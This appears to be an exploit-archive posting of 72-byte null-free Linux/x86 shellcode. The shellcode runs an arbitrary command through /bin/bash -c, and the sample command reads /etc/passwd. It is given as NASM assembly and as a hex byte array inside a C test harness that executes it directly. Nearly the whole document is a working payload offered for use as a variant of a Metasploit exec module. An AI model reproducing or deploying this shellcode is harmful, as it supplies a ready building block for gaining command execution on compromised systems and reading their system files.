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Linux/x86 /bin/bash -c Shellcode

Linux/x86 /bin/bash -c Shellcode
Posted Dec 16, 2016
Authored by Filippo Bersani

72 bytes small Linux/x86 /bin/bash -c arbitrary command execution shellcode.

tags | arbitrary, x86, shellcode, bash
systems | linux
SHA-256 | 87b4f2e3d7784905c0908109eae7e0e225a61919c41832c25c2c6c9182d0ac77

Linux/x86 /bin/bash -c Shellcode

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/* 
;author: Filippo "zinzloun" Bersani
;date: 16/12/2016
;version: 1.0
;X86 Assembly/NASM Syntax
;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
; Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
; Linux bb32 4.4.0-45-generic 32bit
;72 bytes
;description:
executes arbitrary command through /bin/bash -c "command"
a slightly different and null free version of the metasploit payload:
https://www.rapid7.com/db/modules/payload/linux/x86/exec
that is not null free. Crashed on 2 vm of my lab enviroment: OpenSuse001 and bb32
so I coded this version, anyway thx 2 vlad902 for the great idea

;see comment for details

global _start

section .text
_start:

xor eax,eax ;zeroing registers
xor edx,edx
mov al,0xb ;int execve(const char *filename, char *const argv[],
; char *const envp[]);

push edx ;null
push word 0x632d ;-c
mov edi,esp ;save in edi the -c value

push edx ;null
push 0x68736162 ;////bin/bash
push 0x2f6e6962
push 0x2f2f2f2f

mov ebx,esp ;set first arg in ebx=*filename
push edx ;null

jmp short push_cmd ;jump to collect the command

set_argv:
push edi ;push -c value
push ebx ;push ////bin/bash
mov ecx,esp ;*argv = ////bin/bash, -c, cmd, null
int 0x80

push_cmd:
call set_argv
cmd: db "cat /etc/passwd;echo do__ne"
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xd2\xb0\x0b\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89"
"\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b"
"\x65\x63\x68\x6f\x20\x64\x6f\x5f\x5f\x6e\x65";
main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

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